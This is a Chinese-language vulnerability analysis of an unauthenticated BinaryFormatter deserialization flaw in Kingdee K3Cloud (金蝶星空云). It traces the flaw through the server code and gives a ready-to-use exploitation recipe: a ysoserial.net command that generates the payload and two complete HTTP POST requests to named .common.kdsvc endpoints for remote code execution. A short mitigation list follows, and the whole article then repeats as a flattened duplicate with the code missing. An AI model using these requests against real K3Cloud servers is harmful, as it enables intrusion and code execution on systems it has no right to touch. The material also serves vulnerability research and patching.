金蝶星空云反序列化漏洞分析
字数 1323 2025-08-24 07:48:22

金蝶星空云反序列化漏洞分析与利用

漏洞概述

金蝶星空云(K3Cloud)存在一个反序列化漏洞,攻击者可以通过构造特定的HTTP请求,利用BinaryFormatter反序列化机制执行任意代码。该漏洞存在于多个服务端点,特别是以.kdsvc结尾的服务接口。

漏洞分析

漏洞触发路径

  1. 请求路由:所有以.kdsvc结尾的请求都由Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler类处理。

  2. 请求处理流程

    • 请求进入KDSVCHandlerProcessRequest方法
    • 调用RequestExtractor.Create创建请求提取器
    • 通过JQueryRequestExtractor.GetNameValueCollection解析请求参数
    • 使用Deserialize方法对JSON数据进行反序列化
  3. 关键反序列化点

    • ExecuteServiceModule中调用SerializerProxy方法
    • 根据format参数选择序列化方式(format=3对应BinaryFormatter)
    • 最终在BinaryFormatterProxyDeserialize方法中执行反序列化

漏洞利用条件

  1. 必须包含ap0参数(也可以是ap1ap2,但不能更大)
  2. 必须设置format参数为3(对应BinaryFormatter)
  3. 请求内容类型可以是:
    • text/json
    • application/json
    • multipart/form-data(需注意特殊字符编码问题)

漏洞利用

利用工具

使用ysoserial.net生成Payload:

.\ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "a.cs;System.Windows.Forms.dll;System.Web.dll;System.dll"

利用数据包

方式一:使用DevReportService接口

POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json

{
  "ap0":"[BASE64_PAYLOAD]",
  "format":"3"
}

方式二:使用DynamicFormService接口

POST /k3cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Content-Type: text/json
Accept-Encoding: gzip, deflate
Content-Length: [LENGTH]

{
  "ap0": "[BASE64_PAYLOAD]",
  "format": "3"
}

其他可利用的服务端点

任何支持传入object对象、以.common.kdsvc结尾的服务端点都可能存在此漏洞,例如:

  • Kingdee.BOS.ServiceFacade.ServicesStub.*

防御措施

  1. 升级到最新版本的金蝶星空云
  2. 在Web服务器层面限制对.kdsvc端点的访问
  3. 实现输入验证,过滤可疑的反序列化数据
  4. 使用更安全的序列化替代方案,如JSON.NET

技术细节

反序列化流程

  1. 请求进入KDSVCHandler后,会解析服务类型:

    ServiceType serviceType = ServiceTypeManager.BuidServiceType(text3);
    
  2. 通过反射加载服务程序集:

    assembly = Assembly.Load("Kingdee.BOS.ServiceFacade.ServicesStub");
    
  3. 遍历服务方法查找匹配的方法:

    assembly.GetTypes()
    
  4. 根据format参数选择序列化方式:

    switch (format) {
        case 3: // BinaryFormatter
            // 漏洞触发点
            this.proxy.Deserialize();
            break;
        // 其他case...
    }
    

漏洞限制

  1. 参数名必须是ap0ap1ap2(根据参数长度决定)
  2. 不能是基本类型(string、int、long、bool、DateTime等)的参数

参考

  1. 先知社区原文
  2. ActivitySurrogateSelector利用方式
  3. ysoserial.net工具使用

总结

该漏洞利用金蝶星空云服务接口的反序列化功能,通过精心构造的BinaryFormatter数据实现远程代码执行。由于影响多个服务端点且无需认证,危害较大。建议用户及时升级修复,并在网络层面做好防护措施。

金蝶星空云反序列化漏洞分析与利用 漏洞概述 金蝶星空云(K3Cloud)存在一个反序列化漏洞,攻击者可以通过构造特定的HTTP请求,利用BinaryFormatter反序列化机制执行任意代码。该漏洞存在于多个服务端点,特别是以 .kdsvc 结尾的服务接口。 漏洞分析 漏洞触发路径 请求路由 :所有以 .kdsvc 结尾的请求都由 Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler 类处理。 请求处理流程 : 请求进入 KDSVCHandler 的 ProcessRequest 方法 调用 RequestExtractor.Create 创建请求提取器 通过 JQueryRequestExtractor.GetNameValueCollection 解析请求参数 使用 Deserialize 方法对JSON数据进行反序列化 关键反序列化点 : 在 ExecuteServiceModule 中调用 SerializerProxy 方法 根据 format 参数选择序列化方式( format=3 对应BinaryFormatter) 最终在 BinaryFormatterProxy 的 Deserialize 方法中执行反序列化 漏洞利用条件 必须包含 ap0 参数(也可以是 ap1 或 ap2 ,但不能更大) 必须设置 format 参数为 3 (对应BinaryFormatter) 请求内容类型可以是: text/json application/json multipart/form-data (需注意特殊字符编码问题) 漏洞利用 利用工具 使用 ysoserial.net 生成Payload: 利用数据包 方式一:使用DevReportService接口 方式二:使用DynamicFormService接口 其他可利用的服务端点 任何支持传入object对象、以 .common.kdsvc 结尾的服务端点都可能存在此漏洞,例如: Kingdee.BOS.ServiceFacade.ServicesStub.* 防御措施 升级到最新版本的金蝶星空云 在Web服务器层面限制对 .kdsvc 端点的访问 实现输入验证,过滤可疑的反序列化数据 使用更安全的序列化替代方案,如JSON.NET 技术细节 反序列化流程 请求进入 KDSVCHandler 后,会解析服务类型: 通过反射加载服务程序集: 遍历服务方法查找匹配的方法: 根据 format 参数选择序列化方式: 漏洞限制 参数名必须是 ap0 、 ap1 或 ap2 (根据参数长度决定) 不能是基本类型(string、int、long、bool、DateTime等)的参数 参考 先知社区原文 ActivitySurrogateSelector利用方式 ysoserial.net工具使用 总结 该漏洞利用金蝶星空云服务接口的反序列化功能,通过精心构造的BinaryFormatter数据实现远程代码执行。由于影响多个服务端点且无需认证,危害较大。建议用户及时升级修复,并在网络层面做好防护措施。